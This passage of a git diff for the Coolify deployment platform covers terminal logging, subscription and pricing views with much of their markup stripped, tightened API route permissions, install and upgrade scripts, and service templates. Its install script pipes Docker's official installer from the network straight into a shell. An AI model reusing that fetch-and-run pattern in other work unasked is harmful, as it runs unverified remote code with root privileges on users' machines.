logTerminal('error', '[Terminal] WebSocket state:', this.socket ? this.socket.readyState : 'No socket'); + logTerminal('error', '[Terminal] Connection attempt:', this.reconnectAttempts + 1); this.handleConnectionError('WebSocket error occurred'); }, handleSocketClose(event) { - console.warn(`[Terminal] WebSocket connection closed. Code: ${event.code}, Reason: ${event.reason || 'No reason provided'}`); - console.log('[Terminal] Was clean close:', event.code === 1000); - console.log('[Terminal] Connection attempt:', this.reconnectAttempts + 1); + logTerminal('warn', `[Terminal] WebSocket connection closed. Code: ${event.code}, Reason: ${event.reason || 'No reason provided'}`); + logTerminal('log', '[Terminal] Was clean close:', event.code === 1000); + logTerminal('log', '[Terminal] Connection attempt:', this.reconnectAttempts + 1); this.connectionState = 'disconnected'; this.clearAllTimers(); @@ -297,7 +317,7 @@ export function initializeTerminalComponent() { }, handleConnectionError(reason) { - console.error(`[Terminal] Connection error: ${reason} (attempt ${this.reconnectAttempts + 1})`); + logTerminal('error', `[Terminal] Connection error: ${reason} (attempt ${this.reconnectAttempts + 1})`); this.connectionState = 'disconnected'; // Only dispatch error to UI after a few failed attempts to avoid immediate error on page load @@ -310,7 +330,7 @@ export function initializeTerminalComponent() { scheduleReconnect() { if (this.reconnectAttempts >= this.maxReconnectAttempts) { - console.error('[Terminal] Max reconnection attempts reached'); + logTerminal('error', '[Terminal] Max reconnection attempts reached'); this.message = '(connection failed - max retries exceeded)'; return; } @@ -323,7 +343,7 @@ export function initializeTerminalComponent() { this.maxReconnectDelay ); - console.warn(`[Terminal] Scheduling reconnect attempt ${this.reconnectAttempts + 1} in ${delay}ms`); + logTerminal('warn', `[Terminal] Scheduling reconnect attempt ${this.reconnectAttempts + 1} in ${delay}ms`); this.reconnectInterval = setTimeout(() => { this.reconnectAttempts++; @@ -335,17 +355,21 @@ export function initializeTerminalComponent() { if (this.socket && this.socket.readyState === WebSocket.OPEN) { this.socket.send(JSON.stringify(message)); } else { - console.warn('[Terminal] WebSocket not ready, message not sent:', message); + logTerminal('warn', '[Terminal] WebSocket not ready, message not sent:', message); } }, sendCommandWhenReady(message) { if (this.isWebSocketReady()) { this.sendMessage(message); + } else { + this.pendingCommand = message; } }, handleSocketMessage(event) { + logTerminal('log', '[Terminal] Received WebSocket message:', event.data); + // Handle pong responses if (event.data === 'pong') { this.heartbeatMissed = 0; @@ -354,6 +378,10 @@ export function initializeTerminalComponent() { return; } + if (!this.term?._initialized && event.data !== 'pty-ready') { + logTerminal('warn', '[Terminal] Received message before PTY initialization:', event.data); + } + if (event.data === 'pty-ready') { if (!this.term._initialized) { this.term.open(document.getElementById('terminal')); @@ -398,17 +426,24 @@ export function initializeTerminalComponent() { // Notify parent component that terminal disconnected this.$wire.dispatch('terminalDisconnected'); + } else if ( + typeof event.data === 'string' && + (event.data.startsWith('Unauthorized:') || event.data.startsWith('Invalid SSH command:')) + ) { + logTerminal('error', '[Terminal] Backend rejected terminal startup:', event.data); + this.$wire.dispatch('error', event.data); + this.terminalActive = false; } else { try { this.pendingWrites++; this.term.write(event.data, (err) => { if (err) { - console.error('[Terminal] Write error:', err); + logTerminal('error', '[Terminal] Write error:', err); } this.flowControlCallback(); }); } catch (error) { - console.error('[Terminal] Write operation failed:', error); + logTerminal('error', '[Terminal] Write operation failed:', error); this.pendingWrites = Math.max(0, this.pendingWrites - 1); } } @@ -483,10 +518,10 @@ export function initializeTerminalComponent() { clearTimeout(this.pingTimeoutId); this.pingTimeoutId = null; } - console.log('[Terminal] Tab hidden, pausing heartbeat monitoring'); + logTerminal('log', '[Terminal] Tab hidden, pausing heartbeat monitoring'); } else if (wasVisible === false) { // Tab is now visible again - console.log('[Terminal] Tab visible, resuming connection management'); + logTerminal('log', '[Terminal] Tab visible, resuming connection management'); if (this.wasConnectedBeforeHidden && this.socket && this.socket.readyState === WebSocket.OPEN) { // Send immediate ping to verify connection is still alive @@ -508,10 +543,10 @@ export function initializeTerminalComponent() { this.pingTimeoutId = setTimeout(() => { this.heartbeatMissed++; - console.warn(`[Terminal] Ping timeout - missed ${this.heartbeatMissed}/${this.maxHeartbeatMisses}`); + logTerminal('warn', `[Terminal] Ping timeout - missed ${this.heartbeatMissed}/${this.maxHeartbeatMisses}`); if (this.heartbeatMissed >= this.maxHeartbeatMisses) { - console.error('[Terminal] Too many missed heartbeats, closing connection'); + logTerminal('error', '[Terminal] Too many missed heartbeats, closing connection'); this.socket.close(1001, 'Heartbeat timeout'); } }, this.pingTimeout); @@ -553,7 +588,7 @@ export function initializeTerminalComponent() { // Check if dimensions are valid if (height <= 0 || width <= 0) { - console.warn('[Terminal] Invalid wrapper dimensions, retrying...', { height, width }); + logTerminal('warn', '[Terminal] Invalid wrapper dimensions, retrying...', { height, width }); setTimeout(() => this.resizeTerminal(), 100); return; } @@ -562,7 +597,7 @@ export function initializeTerminalComponent() { if (!charSize.height || !charSize.width) { // Fallback values if char size not available yet - console.warn('[Terminal] Character size not available, retrying...'); + logTerminal('warn', '[Terminal] Character size not available, retrying...'); setTimeout(() => this.resizeTerminal(), 100); return; } @@ -583,10 +618,10 @@ export function initializeTerminalComponent() { }); } } else { - console.warn('[Terminal] Invalid calculated dimensions:', { rows, cols, height, width, charSize }); + logTerminal('warn', '[Terminal] Invalid calculated dimensions:', { rows, cols, height, width, charSize }); } } catch (error) { - console.error('[Terminal] Resize error:', error); + logTerminal('error', '[Terminal] Resize error:', error); } }, diff --git a/resources/views/components/applications/links.blade.php b/resources/views/components/applications/links.blade.php index 26b1cedf5..85e8f7431 100644 --- a/resources/views/components/applications/links.blade.php +++ b/resources/views/components/applications/links.blade.php @@ -4,7 +4,7 @@ @if ( (data_get($application, 'fqdn') || - collect(json_decode($this->application->docker_compose_domains))->count() > 0 || + collect(json_decode($this->application->docker_compose_domains))->contains(fn($fqdn) => !empty(data_get($fqdn, 'domain'))) || data_get($application, 'previews', collect([]))->count() > 0 || data_get($application, 'ports_mappings_array')) && data_get($application, 'settings.is_raw_compose_deployment_enabled') !== true) diff --git a/resources/views/components/modal-confirmation.blade.php b/resources/views/components/modal-confirmation.blade.php index 73939092e..c1e8a3e54 100644 --- a/resources/views/components/modal-confirmation.blade.php +++ b/resources/views/components/modal-confirmation.blade.php @@ -35,7 +35,7 @@ $skipPasswordConfirmation = shouldSkipPasswordConfirmation(); if ($temporaryDisableTwoStepConfirmation) { $disableTwoStepConfirmation = false; - $skipPasswordConfirmation = false; + // Password confirmation requirement is not affected by temporary two-step disable } // When password step is skipped, Step 2 becomes final - change button text from "Continue" to "Confirm" $effectiveStep2ButtonText = ($skipPasswordConfirmation && $step2ButtonText === 'Continue') ? 'Confirm' : $step2ButtonText; @@ -59,6 +59,7 @@ confirmWithPassword: @js($confirmWithPassword && !$skipPasswordConfirmation), submitAction: @js($submitAction), dispatchAction: @js($dispatchAction), + submitting: false, passwordError: '', selectedActions: @js(collect($checkboxes)->pluck('id')->filter(fn($id) => $this->$id)->values()->all()), dispatchEvent: @js($dispatchEvent), @@ -70,6 +71,7 @@ this.step = this.initialStep; this.deleteText = ''; this.password = ''; + this.submitting = false; this.userConfirmationText = ''; this.selectedActions = @js(collect($checkboxes)->pluck('id')->filter(fn($id) => $this->$id)->values()->all()); $wire.$refresh(); @@ -92,7 +94,7 @@ } if (this.dispatchAction) { $wire.dispatch(this.submitAction); - return true; + return Promise.resolve(true); } const methodName = this.submitAction.split('(')[0]; @@ -188,7 +190,7 @@ class="relative w-auto h-auto"> @endif + + + {{-- Manage Subscription --}} +
+

Manage Subscription

+
+ + + + Manage Billing on Stripe
- -
- If you have any problems, please contact us. +
+ + {{-- Cancel Subscription --}} +
+

Cancel Subscription

+
+ @if (currentTeam()->subscription->stripe_cancel_at_period_end) + Resume Subscription + @else + + + @endif +
+ @if (currentTeam()->subscription->stripe_cancel_at_period_end) +

Your subscription is set to cancel at the end of the billing period.

+ @endif +
+ + {{-- Refund --}} +
+

Refund

+
+ @if ($refundCheckLoading) + Request Full Refund + @elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) + + @else + Request Full Refund + @endif +
+

+ @if ($refundCheckLoading) + Checking refund eligibility... + @elseif ($isRefundEligible && !currentTeam()->subscription->stripe_cancel_at_period_end) + Eligible for a full refund — {{ $refundDaysRemaining }} days remaining. + @elseif ($refundAlreadyUsed) + Refund already processed. Each team is eligible for one refund only. + @else + Not eligible for a refund. + @endif +

+
+ +
+ Need help? Contact us.
@endif diff --git a/resources/views/livewire/subscription/index.blade.php b/resources/views/livewire/subscription/index.blade.php index d1d933e04..c78af77f9 100644 --- a/resources/views/livewire/subscription/index.blade.php +++ b/resources/views/livewire/subscription/index.blade.php @@ -3,29 +3,26 @@ Subscribe | Coolify @if (auth()->user()->isAdminFromSession()) - @if (request()->query->get('cancelled')) -
- - - - Something went wrong with your subscription. Please try again or contact - support. -
- @endif

Subscriptions

@if ($loading) -
- Loading your subscription status... +
+
@else @if ($isUnpaid) -
- Your last payment was failed for Coolify Cloud. -
+ +
+ + + + Payment Failed. Your last payment for Coolify + Cloud has failed. +
+

Open the following link, navigate to the button and pay your unpaid/past due subscription. @@ -34,18 +31,20 @@

@else @if (config('subscription.provider') === 'stripe') -
$isCancelled, - 'pb-10' => !$isCancelled, - ])> - @if ($isCancelled) -
- It looks like your previous subscription has been cancelled, because you forgot to - pay - the bills.
Please subscribe again to continue using Coolify.
+ @if ($isCancelled) + +
+ + + + No Active Subscription. Subscribe to + a plan to start using Coolify Cloud.
- @endif -
+ + @endif +
$isCancelled, 'pb-10' => !$isCancelled])>
@endif @endif diff --git a/resources/views/livewire/subscription/pricing-plans.blade.php b/resources/views/livewire/subscription/pricing-plans.blade.php index 52811f288..45edc39ad 100644 --- a/resources/views/livewire/subscription/pricing-plans.blade.php +++ b/resources/views/livewire/subscription/pricing-plans.blade.php @@ -1,162 +1,123 @@ -
-
-
-
- Payment frequency - - -
+
+ {{-- Frequency Toggle --}} +
+
+ Payment frequency + + +
+
+ +
+ {{-- Plan Header + Pricing --}} +

Pay-as-you-go

+

Dynamic pricing based on the number of servers you connect.

+ +
+ + $5 + / mo base + + + $4 + / mo base +
-
-
-
-

Pay-as-you-go

-

- Dynamic pricing based on the number of servers you connect. -

-

- - $5 - base price - +

+ + + $3 per additional server, billed monthly (+VAT) + + + + $2.7 per additional server, billed annually (+VAT) + +

- - $4 - base price - -

-

- - $3 - per additional servers billed monthly (+VAT) - + {{-- Subscribe Button --}} +

+ + Subscribe + + + Subscribe + +
- - $2.7 - per additional servers billed annually (+VAT) - -

-
- - - - + {{-- Features --}} +
+
    +
  • + + Connect unlimited servers +
  • +
  • + + Deploy unlimited applications per server +
  • +
  • + + Free email notifications +
  • +
  • + + Support by email +
  • +
  • + + + + + + All Upcoming Features +
  • +
+
-
-
- You need to bring your own servers from any cloud provider (such as Hetzner, DigitalOcean, AWS, - etc.) -
-
- (You can connect your RPi, old laptop, or any other device that runs - the supported operating systems.) -
-
-
-
- - Subscribe - - - Subscribe - -
-
    -
  • - - Connect - unlimited servers -
  • -
  • - - Deploy - unlimited applications per server -
  • -
  • - - Free email notifications -
  • -
  • - - Support by email -
  • -
  • - - - - - - - + All Upcoming Features -
  • -
  • - - - - - - - Do you require official support for your self-hosted instance?Contact Us -
  • -
-
-
+ {{-- BYOS Notice + Support --}} +
+

You need to bring your own servers from any cloud provider (Hetzner, DigitalOcean, AWS, etc.) or connect any device running a supported OS.

+

Need official support for your self-hosted instance? Contact Us

diff --git a/resources/views/livewire/subscription/show.blade.php b/resources/views/livewire/subscription/show.blade.php index 2fb4b1191..955beb33f 100644 --- a/resources/views/livewire/subscription/show.blade.php +++ b/resources/views/livewire/subscription/show.blade.php @@ -3,6 +3,6 @@ Subscription | Coolify

Subscription

-
Here you can see and manage your subscription.
+
Manage your plan, billing, and server limits.
diff --git a/routes/api.php b/routes/api.php index ffa4b29b9..0d3edcced 100644 --- a/routes/api.php +++ b/routes/api.php @@ -71,7 +71,7 @@ Route::get('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'show'])->middleware(['api.ability:read']); Route::patch('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'update'])->middleware(['api.ability:write']); Route::delete('/cloud-tokens/{uuid}', [CloudProviderTokensController::class, 'destroy'])->middleware(['api.ability:write']); - Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:read']); + Route::post('/cloud-tokens/{uuid}/validate', [CloudProviderTokensController::class, 'validateToken'])->middleware(['api.ability:write']); Route::match(['get', 'post'], '/deploy', [DeployController::class, 'deploy'])->middleware(['api.ability:deploy']); Route::get('/deployments', [DeployController::class, 'deployments'])->middleware(['api.ability:read']); @@ -84,7 +84,7 @@ Route::get('/servers/{uuid}/domains', [ServersController::class, 'domains_by_server'])->middleware(['api.ability:read']); Route::get('/servers/{uuid}/resources', [ServersController::class, 'resources_by_server'])->middleware(['api.ability:read']); - Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:read']); + Route::get('/servers/{uuid}/validate', [ServersController::class, 'validate_server'])->middleware(['api.ability:write']); Route::post('/servers', [ServersController::class, 'create_server'])->middleware(['api.ability:write']); Route::patch('/servers/{uuid}', [ServersController::class, 'update_server'])->middleware(['api.ability:write']); @@ -120,6 +120,10 @@ Route::patch('/applications/{uuid}/envs', [ApplicationsController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); Route::delete('/applications/{uuid}/envs/{env_uuid}', [ApplicationsController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); Route::get('/applications/{uuid}/logs', [ApplicationsController::class, 'logs_by_uuid'])->middleware(['api.ability:read']); + Route::get('/applications/{uuid}/storages', [ApplicationsController::class, 'storages'])->middleware(['api.ability:read']); + Route::post('/applications/{uuid}/storages', [ApplicationsController::class, 'create_storage'])->middleware(['api.ability:write']); + Route::patch('/applications/{uuid}/storages', [ApplicationsController::class, 'update_storage'])->middleware(['api.ability:write']); + Route::delete('/applications/{uuid}/storages/{storage_uuid}', [ApplicationsController::class, 'delete_storage'])->middleware(['api.ability:write']); Route::match(['get', 'post'], '/applications/{uuid}/start', [ApplicationsController::class, 'action_deploy'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/applications/{uuid}/restart', [ApplicationsController::class, 'action_restart'])->middleware(['api.ability:deploy']); @@ -152,6 +156,17 @@ Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}', [DatabasesController::class, 'delete_backup_by_uuid'])->middleware(['api.ability:write']); Route::delete('/databases/{uuid}/backups/{scheduled_backup_uuid}/executions/{execution_uuid}', [DatabasesController::class, 'delete_execution_by_uuid'])->middleware(['api.ability:write']); + Route::get('/databases/{uuid}/storages', [DatabasesController::class, 'storages'])->middleware(['api.ability:read']); + Route::post('/databases/{uuid}/storages', [DatabasesController::class, 'create_storage'])->middleware(['api.ability:write']); + Route::patch('/databases/{uuid}/storages', [DatabasesController::class, 'update_storage'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/storages/{storage_uuid}', [DatabasesController::class, 'delete_storage'])->middleware(['api.ability:write']); + + Route::get('/databases/{uuid}/envs', [DatabasesController::class, 'envs'])->middleware(['api.ability:read']); + Route::post('/databases/{uuid}/envs', [DatabasesController::class, 'create_env'])->middleware(['api.ability:write']); + Route::patch('/databases/{uuid}/envs/bulk', [DatabasesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']); + Route::patch('/databases/{uuid}/envs', [DatabasesController::class, 'update_env_by_uuid'])->middleware(['api.ability:write']); + Route::delete('/databases/{uuid}/envs/{env_uuid}', [DatabasesController::class, 'delete_env_by_uuid'])->middleware(['api.ability:write']); + Route::match(['get', 'post'], '/databases/{uuid}/start', [DatabasesController::class, 'action_deploy'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/databases/{uuid}/restart', [DatabasesController::class, 'action_restart'])->middleware(['api.ability:deploy']); Route::match(['get', 'post'], '/databases/{uuid}/stop', [DatabasesController::class, 'action_stop'])->middleware(['api.ability:deploy']); @@ -163,6 +178,11 @@ Route::patch('/services/{uuid}', [ServicesController::class, 'update_by_uuid'])->middleware(['api.ability:write']); Route::delete('/services/{uuid}', [ServicesController::class, 'delete_by_uuid'])->middleware(['api.ability:write']); + Route::get('/services/{uuid}/storages', [ServicesController::class, 'storages'])->middleware(['api.ability:read']); + Route::post('/services/{uuid}/storages', [ServicesController::class, 'create_storage'])->middleware(['api.ability:write']); + Route::patch('/services/{uuid}/storages', [ServicesController::class, 'update_storage'])->middleware(['api.ability:write']); + Route::delete('/services/{uuid}/storages/{storage_uuid}', [ServicesController::class, 'delete_storage'])->middleware(['api.ability:write']); + Route::get('/services/{uuid}/envs', [ServicesController::class, 'envs'])->middleware(['api.ability:read']); Route::post('/services/{uuid}/envs', [ServicesController::class, 'create_env'])->middleware(['api.ability:write']); Route::patch('/services/{uuid}/envs/bulk', [ServicesController::class, 'create_bulk_envs'])->middleware(['api.ability:write']); diff --git a/routes/web.php b/routes/web.php index b6c6c95ce..dfb44324c 100644 --- a/routes/web.php +++ b/routes/web.php @@ -84,6 +84,7 @@ use App\Livewire\Team\Member\Index as TeamMemberIndex; use App\Livewire\Terminal\Index as TerminalIndex; use App\Models\ScheduledDatabaseBackupExecution; +use App\Models\ServiceDatabase; use App\Providers\RouteServiceProvider; use Illuminate\Support\Facades\Route; use Illuminate\Support\Facades\Storage; @@ -140,6 +141,7 @@ Route::prefix('storages')->group(function () { Route::get('/', StorageIndex::class)->name('storage.index'); Route::get('/{storage_uuid}', StorageShow::class)->name('storage.show'); + Route::get('/{storage_uuid}/resources', StorageShow::class)->name('storage.resources'); }); Route::prefix('shared-variables')->group(function () { Route::get('/', SharedVariablesIndex::class)->name('shared-variables.index'); @@ -163,22 +165,36 @@ } return response()->json(['authenticated' => false], 401); - })->name('terminal.auth'); + })->name('terminal.auth')->middleware('can.access.terminal'); Route::post('/terminal/auth/ips', function () { if (auth()->check()) { $team = auth()->user()->currentTeam(); - $ipAddresses = $team->servers->where('settings.is_terminal_enabled', true)->pluck('ip')->toArray(); + $ipAddresses = $team->servers + ->where('settings.is_terminal_enabled', true) + ->pluck('ip') + ->filter() + ->values(); - return response()->json(['ipAddresses' => $ipAddresses], 200); + if (isDev()) { + $ipAddresses = $ipAddresses->merge([ + 'coolify-testing-host', + 'host.docker.internal', + 'localhost', + '127.0.0.1', + base_ip(), + ])->filter()->unique()->values(); + } + + return response()->json(['ipAddresses' => $ipAddresses->all()], 200); } return response()->json(['ipAddresses' => []], 401); - })->name('terminal.auth.ips'); + })->name('terminal.auth.ips')->middleware('can.access.terminal'); Route::prefix('invitations')->group(function () { - Route::get('/{uuid}', [Controller::class, 'acceptInvitation'])->name('team.invitation.accept'); - Route::get('/{uuid}/revoke', [Controller::class, 'revokeInvitation'])->name('team.invitation.revoke'); + Route::get('/{uuid}', [Controller::class, 'showInvitation'])->name('team.invitation.show'); + Route::post('/{uuid}', [Controller::class, 'acceptInvitation'])->name('team.invitation.accept'); }); Route::get('/projects', ProjectIndex::class)->name('project.index'); @@ -329,7 +345,7 @@ } } $filename = data_get($execution, 'filename'); - if ($execution->scheduledDatabaseBackup->database->getMorphClass() === \App\Models\ServiceDatabase::class) { + if ($execution->scheduledDatabaseBackup->database->getMorphClass() === ServiceDatabase::class) { $server = $execution->scheduledDatabaseBackup->database->service->destination->server; } else { $server = $execution->scheduledDatabaseBackup->database->destination->server; @@ -370,7 +386,7 @@ 'Content-Type' => 'application/octet-stream', 'Content-Disposition' => 'attachment; filename="'.basename($filename).'"', ]); - } catch (\Throwable $e) { + } catch (Throwable $e) { return response()->json(['message' => $e->getMessage()], 500); } })->name('download.backup'); diff --git a/scripts/install.sh b/scripts/install.sh index b014a3d24..2e1dab326 100755 --- a/scripts/install.sh +++ b/scripts/install.sh @@ -20,7 +20,7 @@ DATE=$(date +"%Y%m%d-%H%M%S") OS_TYPE=$(grep -w "ID" /etc/os-release | cut -d "=" -f 2 | tr -d '"') ENV_FILE="/data/coolify/source/.env" -DOCKER_VERSION="27.0" +DOCKER_VERSION="latest" # TODO: Ask for a user CURRENT_USER=$USER @@ -499,13 +499,10 @@ fi install_docker() { set +e - curl -s https://releases.rancher.com/install-docker/${DOCKER_VERSION}.sh | sh 2>&1 || true + curl -fsSL https://get.docker.com | sh 2>&1 || true if ! [ -x "$(command -v docker)" ]; then - curl -s https://get.docker.com | sh -s -- --version ${DOCKER_VERSION} 2>&1 - if ! [ -x "$(command -v docker)" ]; then - echo "Automated Docker installation failed. Trying manual installation." - install_docker_manually - fi + echo "Automated Docker installation failed. Trying manual installation." + install_docker_manually fi set -e } @@ -548,16 +545,6 @@ if ! [ -x "$(command -v docker)" ]; then echo " - Docker is not installed. Installing Docker. It may take a while." getAJoke case "$OS_TYPE" in - "almalinux") - dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1 - dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1 - if ! [ -x "$(command -v docker)" ]; then - echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue." - exit 1 - fi - systemctl start docker >/dev/null 2>&1 - systemctl enable docker >/dev/null 2>&1 - ;; "alpine" | "postmarketos") apk add docker docker-cli-compose >/dev/null 2>&1 rc-update add docker default >/dev/null 2>&1 @@ -569,8 +556,9 @@ if ! [ -x "$(command -v docker)" ]; then fi ;; "arch") - pacman -Sy docker docker-compose --noconfirm >/dev/null 2>&1 + pacman -Syu --noconfirm --needed docker docker-compose >/dev/null 2>&1 systemctl enable docker.service >/dev/null 2>&1 + systemctl start docker.service >/dev/null 2>&1 if ! [ -x "$(command -v docker)" ]; then echo " - Failed to install Docker with pacman. Try to install it manually." echo " Please visit https://wiki.archlinux.org/title/docker for more information." @@ -581,7 +569,7 @@ if ! [ -x "$(command -v docker)" ]; then dnf install docker -y >/dev/null 2>&1 DOCKER_CONFIG=${DOCKER_CONFIG:-/usr/local/lib/docker} mkdir -p $DOCKER_CONFIG/cli-plugins >/dev/null 2>&1 - curl -sL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1 + curl -fsSL "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1 chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose >/dev/null 2>&1 systemctl start docker >/dev/null 2>&1 systemctl enable docker >/dev/null 2>&1 @@ -591,34 +579,28 @@ if ! [ -x "$(command -v docker)" ]; then exit 1 fi ;; - "centos" | "fedora" | "rhel" | "tencentos") - if [ -x "$(command -v dnf5)" ]; then - # dnf5 is available - dnf config-manager addrepo --from-repofile=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo --overwrite >/dev/null 2>&1 - else - # dnf5 is not available, use dnf - dnf config-manager --add-repo=https://download.docker.com/linux/$OS_TYPE/docker-ce.repo >/dev/null 2>&1 - fi + "almalinux" | "tencentos") + dnf config-manager --add-repo=https://download.docker.com/linux/centos/docker-ce.repo >/dev/null 2>&1 dnf install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin >/dev/null 2>&1 + systemctl start docker >/dev/null 2>&1 + systemctl enable docker >/dev/null 2>&1 if ! [ -x "$(command -v docker)" ]; then echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue." exit 1 fi - systemctl start docker >/dev/null 2>&1 - systemctl enable docker >/dev/null 2>&1 ;; - "ubuntu" | "debian" | "raspbian") + "ubuntu" | "debian" | "raspbian" | "centos" | "fedora" | "rhel" | "sles") install_docker if ! [ -x "$(command -v docker)" ]; then - echo " - Automated Docker installation failed. Trying manual installation." - install_docker_manually + echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue." + exit 1 fi ;; *) install_docker if ! [ -x "$(command -v docker)" ]; then - echo " - Automated Docker installation failed. Trying manual installation." - install_docker_manually + echo " - Docker could not be installed automatically. Please visit https://docs.docker.com/engine/install/ and install Docker manually to continue." + exit 1 fi ;; esac @@ -627,6 +609,19 @@ else echo " - Docker is installed." fi +# Verify minimum Docker version +MIN_DOCKER_VERSION=24 +INSTALLED_DOCKER_VERSION=$(docker version --format '{{.Server.Version}}' 2>/dev/null | cut -d. -f1) +if [ -z "$INSTALLED_DOCKER_VERSION" ]; then + echo " - WARNING: Could not determine Docker version. Please ensure Docker $MIN_DOCKER_VERSION+ is installed." +elif [ "$INSTALLED_DOCKER_VERSION" -lt "$MIN_DOCKER_VERSION" ]; then + echo " - ERROR: Docker version $INSTALLED_DOCKER_VERSION is too old. Coolify requires Docker $MIN_DOCKER_VERSION or newer." + echo " Please upgrade Docker: https://docs.docker.com/engine/install/" + exit 1 +else + echo " - Docker version $(docker version --format '{{.Server.Version}}' 2>/dev/null) meets minimum requirement ($MIN_DOCKER_VERSION+)." +fi + log_section "Step 4/9: Checking Docker configuration" echo "4/9 Checking Docker configuration..." diff --git a/scripts/upgrade.sh b/scripts/upgrade.sh index 648849d5c..f32db9b8d 100644 --- a/scripts/upgrade.sh +++ b/scripts/upgrade.sh @@ -141,6 +141,15 @@ else log "Network 'coolify' already exists" fi +# Fix SSH directory ownership if not owned by container user UID 9999 (fixes #6621) +# Only changes owner — preserves existing group to respect custom setups +SSH_OWNER=$(stat -c '%u' /data/coolify/ssh 2>/dev/null || echo "unknown") +if [ "$SSH_OWNER" != "9999" ]; then + log "Fixing SSH directory ownership (was owned by UID $SSH_OWNER)" + chown -R 9999 /data/coolify/ssh + chmod -R 700 /data/coolify/ssh +fi + # Check if Docker config file exists DOCKER_CONFIG_MOUNT="" if [ -f /root/.docker/config.json ]; then diff --git a/svgs/cells.svg b/svgs/cells.svg new file mode 100644 index 000000000..f82e53ec7 --- /dev/null +++ b/svgs/cells.svg @@ -0,0 +1,38 @@ + + + + + + + + + + diff --git a/templates/compose/booklore.yaml b/templates/compose/booklore.yaml index fddde8de0..a26e52932 100644 --- a/templates/compose/booklore.yaml +++ b/templates/compose/booklore.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://booklore.org/docs/getting-started # slogan: Booklore is an open-source library management system for your digital book collection. # tags: media, books, kobo, epub, ebook, KOreader diff --git a/templates/compose/castopod.yaml b/templates/compose/castopod.yaml index 6c6e8c4d5..8eaed59e5 100644 --- a/templates/compose/castopod.yaml +++ b/templates/compose/castopod.yaml @@ -3,15 +3,15 @@ # category: media # tags: podcast, media, audio, video, streaming, hosting, platform, castopod # logo: svgs/castopod.svg -# port: 8000 +# port: 8080 services: castopod: - image: castopod/castopod:latest + image: castopod/castopod:1.15.4 volumes: - castopod-media:/var/www/castopod/public/media environment: - - SERVICE_URL_CASTOPOD_8000 + - SERVICE_URL_CASTOPOD_8080 - MYSQL_DATABASE=castopod - MYSQL_USER=$SERVICE_USER_MYSQL - MYSQL_PASSWORD=$SERVICE_PASSWORD_MYSQL @@ -27,7 +27,7 @@ services: "CMD", "curl", "-f", - "http://localhost:8000/health" + "http://localhost:8080/health" ] interval: 5s timeout: 20s diff --git a/templates/compose/cloudreve.yaml b/templates/compose/cloudreve.yaml index 39ea8181f..88a2d2109 100644 --- a/templates/compose/cloudreve.yaml +++ b/templates/compose/cloudreve.yaml @@ -38,7 +38,7 @@ services: - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES} - POSTGRES_DB=${POSTGRES_DB:-cloudreve-db} volumes: - - postgres-data:/var/lib/postgresql/data + - postgres-data:/var/lib/postgresql healthcheck: test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"] interval: 10s diff --git a/templates/compose/databasus.yaml b/templates/compose/databasus.yaml index fccb81f4d..f670aad8a 100644 --- a/templates/compose/databasus.yaml +++ b/templates/compose/databasus.yaml @@ -7,7 +7,7 @@ services: databasus: - image: 'databasus/databasus:v2.18.0' # Released on 28 Dec, 2025 + image: 'databasus/databasus:v3.16.2' # Released on 23 February, 2026 environment: - SERVICE_URL_DATABASUS_4005 volumes: diff --git a/templates/compose/ente-photos.yaml b/templates/compose/ente-photos.yaml index effeeeb4a..b684c5380 100644 --- a/templates/compose/ente-photos.yaml +++ b/templates/compose/ente-photos.yaml @@ -16,6 +16,7 @@ services: - ENTE_APPS_PUBLIC_ALBUMS=${SERVICE_URL_WEB_3002} - ENTE_APPS_CAST=${SERVICE_URL_WEB_3004} - ENTE_APPS_ACCOUNTS=${SERVICE_URL_WEB_3001} + - ENTE_PHOTOS_ORIGIN=${SERVICE_URL_WEB} - ENTE_DB_HOST=${ENTE_DB_HOST:-postgres} - ENTE_DB_PORT=${ENTE_DB_PORT:-5432} diff --git a/templates/compose/espocrm.yaml b/templates/compose/espocrm.yaml new file mode 100644 index 000000000..6fec260c4 --- /dev/null +++ b/templates/compose/espocrm.yaml @@ -0,0 +1,75 @@ +# documentation: https://docs.espocrm.com +# slogan: EspoCRM is a free and open-source CRM platform. +# category: cms +# tags: crm, self-hosted, open-source, workflow, automation, project management +# logo: svgs/espocrm.svg +# port: 80 + +services: + espocrm: + image: espocrm/espocrm:9 + environment: + - SERVICE_URL_ESPOCRM + - ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin} + - ESPOCRM_ADMIN_PASSWORD=${SERVICE_PASSWORD_ADMIN} + - ESPOCRM_DATABASE_PLATFORM=Mysql + - ESPOCRM_DATABASE_HOST=espocrm-db + - ESPOCRM_DATABASE_NAME=${MARIADB_DATABASE:-espocrm} + - ESPOCRM_DATABASE_USER=${SERVICE_USER_MARIADB} + - 